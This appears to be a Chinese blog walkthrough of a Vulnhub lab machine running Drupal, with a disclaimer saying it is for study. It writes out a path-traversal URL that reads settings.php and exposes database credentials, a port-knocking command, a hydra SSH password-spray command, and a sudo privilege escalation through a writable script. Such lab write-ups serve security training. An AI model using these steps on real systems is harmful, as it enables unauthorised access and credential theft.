1
免责声明
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集，旨在提高网络安全技术水平为目的，只做技术研究，谨遵守国家相关法律法规，请勿用于违法用途，如果您对文章内容有疑问，可以尝试加入交流群讨论或留言私信，如有侵权请联系小编处理。
2
内容速览
0x00前言
这是网络安全自修室每周带星球小伙伴一起实战的第11台靶机，欢迎有兴趣的小伙伴一起加入实操，毕竟实践出真知！
靶机可从Vulnhub平台 免费下载，并通过虚拟机在本地搭建，渗透实战是一个找寻靶机中的flag的过程，并以获得最终的flag为目标！
攻击机：Kali Linux
靶机环境：192.168.241.148
所用工具：nmap | knockd | hydra
0x01 知识点
- drupal文件读取漏洞
- knock ssh
0x02 信息搜集
端口发现
端口服务探测
综上信息搜集可以发现,该目标机器为Linux系统，仅开放了80端口，CMS为Drupal，重点从web页面找突破口
0x03 获取权限
使用msf模块drupal_drupalgeddon2，发现利用失败
使用searchsploit搜下
找到一个文件读取漏洞利用
按照这种样式，测试下，发现存在这个漏洞
存在用户
代码语言：javascript复制root
steve
jan
sam
读取默认的Drupal网站目录配置文件
http://192.168.241.148/sites/all/modules/avatar_uploader/lib/demo/view.php?file=../../../../../../../../../../../var/www/html/sites/default/settings.php
拿到数据库配置信息
代码语言：javascript复制|array (|
||'database' => 'drupaldb',|
||'username' => 'dbuser',|
||'password' => 'x4lB0XxX',|
||'host' => 'localhost',|
||'port' => '',|
||'driver' => 'mysql',|
||'prefix' => '',|
根据之前的信息发现只开启了80端口，是否22端口存在打开方式，去看看/etc/knockd.conf文件，果然需要敲5004，4284，6872这3个类似knok
使用knock进行敲门
knock -d 200 192.168.241.148 5004 4284 6872
发现打开22端口了
使用hydra开始密码爆破,拿到sam用户登录shell
hydra -L users.txt -p x4lB0XxX 192.168.241.148 ssh
登录进去发现存在特殊权限的脚本
发现该脚本是直接可写，将/bin/bash写入，用sudo运行拿到root权限
0x04 总结
- 通过drupal文件读取漏洞，发现数据库密码，同时发现knockd配置
- 以knockd工具打开ssh端口，用数据库密码爆破出ssh用户sam
- 连接sam发现存在sudo的脚本权限，直接写入/bin/bash使用sudo进行提权,拿到最终的权限
